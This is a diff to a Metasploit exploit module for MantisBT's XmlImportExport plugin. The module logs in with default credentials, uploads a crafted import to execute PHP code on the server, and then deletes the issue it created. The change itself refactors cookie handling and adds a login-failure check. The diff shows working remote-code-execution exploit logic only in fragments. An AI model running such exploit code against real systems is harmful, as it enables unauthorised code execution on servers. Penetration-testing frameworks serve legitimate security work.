@@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = GreatRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
- include Msf ::Exploit ::PhpEXE
13
12
14
13
def initialize ( info = { } )
15
14
super ( update_info ( info ,
@@ -39,7 +38,7 @@ def initialize(info = {})
39
38
[
40
39
OptString . new ( 'USERNAME' , [ true , 'Username to authenticate as' , 'administrator' ] ) ,
41
40
OptString . new ( 'PASSWORD' , [ true , 'Pasword to authenticate as' , 'root' ] ) ,
42
- OptString . new ( 'TARGETURI' , [ true , 'Base directory path' , '' ] ) ,
41
+ OptString . new ( 'TARGETURI' , [ true , 'Base directory path' , '/ ' ] ) ,
43
42
] , self . class )
44
43
end
45
44
@@ -87,15 +86,13 @@ def exec_php(php_code, is_check = false)
87
86
return false
88
87
end
89
88
90
- phpsessid = ' PHPSESSID' << res . get_cookies . split ( 'PHPSESSID' ) [ 1 ] . split ( '; ' ) [ 0 ]
89
+ cookies = res . get_cookies
91
90
92
91
print_status ( 'Logging in...' )
93
92
res = send_request_cgi ( {
94
93
'method' => 'POST' ,
95
94
'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
96
- 'headers' => {
97
- 'Cookie' => phpsessid ,
98
- } ,
95
+ 'cookie' => cookies ,
99
96
'vars_post' => {
100
97
'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
101
98
'username' => datastore [ 'username' ] ,
@@ -109,15 +106,18 @@ def exec_php(php_code, is_check = false)
109
106
return false
110
107
end
111
108
112
- mantis_string_cookie = ' MANTIS_STRING_COOKIE' << res . get_cookies . split ( 'MANTIS_STRING_COOKIE' ) [ 1 ] . split ( '; ' ) [ 0 ]
109
+ unless res . redirection . to_s !~ /login_page.php/
110
+ print_error ( "Wrong credentials" )
111
+ return false
112
+ end
113
+
114
+ cookies = "#{ cookies } #{ res . get_cookies } "
113
115
114
116
print_status ( "Checking XmlImportExport plugin..." )
115
117
res = send_request_cgi ( {
116
118
'method' => 'GET' ,
117
119
'uri' => normalize_uri ( target_uri . path , 'plugin.php' ) ,
118
- 'headers' => {
119
- 'Cookie' => "#{ phpsessid } #{ mantis_string_cookie } " ,
120
- } ,
120
+ 'cookie' => cookies ,
121
121
'vars_get' => {
122
122
'page' => 'XmlImportExport/import' ,
123
123
}
@@ -210,7 +210,7 @@ def exec_php(php_code, is_check = false)
210
210
'method' => 'POST' ,
211
211
'uri' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import_action' ) ,
212
212
'headers' => {
213
- 'Cookie' => " #{ phpsessid } #{ mantis_string_cookie } " ,
213
+ 'Cookie' => cookies ,
214
214
} ,
215
215
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
216
216
'data' => data_post ,
@@ -222,9 +222,7 @@ def exec_php(php_code, is_check = false)
222
222
res = send_request_cgi ( {
223
223
'method' => 'GET' ,
224
224
'uri' => normalize_uri ( target_uri . path , 'my_view_page.php' ) ,
225
- 'headers' => {
226
- 'Cookie' => "#{ phpsessid } #{ mantis_string_cookie } " ,
227
- } ,
225
+ 'cookie' => cookies ,
228
226
} )
229
227
230
228
unless res && res . code == 200
@@ -242,9 +240,7 @@ def exec_php(php_code, is_check = false)
242
240
res = send_request_cgi ( {
243
241
'method' => 'GET' ,
244
242
'uri' => normalize_uri ( target_uri . path , 'bug_actiongroup_page.php' ) ,
245
- 'headers' => {
246
- 'Cookie' => "#{ phpsessid } #{ mantis_string_cookie } " ,
247
- } ,
243
+ 'cookie' => cookies ,
248
244
'vars_get' => {
249
245
'bug_arr[]' => issue_id ,
250
246
'action' => 'DELETE' ,
@@ -261,9 +257,7 @@ def exec_php(php_code, is_check = false)
261
257
res = send_request_cgi ( {
262
258
'method' => 'POST' ,
263
259
'uri' => normalize_uri ( target_uri . path , 'bug_actiongroup.php' ) ,
264
- 'headers' => {
265
- 'Cookie' => "#{ phpsessid } #{ mantis_string_cookie } " ,
266
- } ,
260
+ 'cookie' => cookies ,
267
261
'vars_post' => {
268
262
'bug_actiongroup_DELETE_token' => csrf_token ,
269
263
'bug_arr[]' => issue_id ,
0 commit comments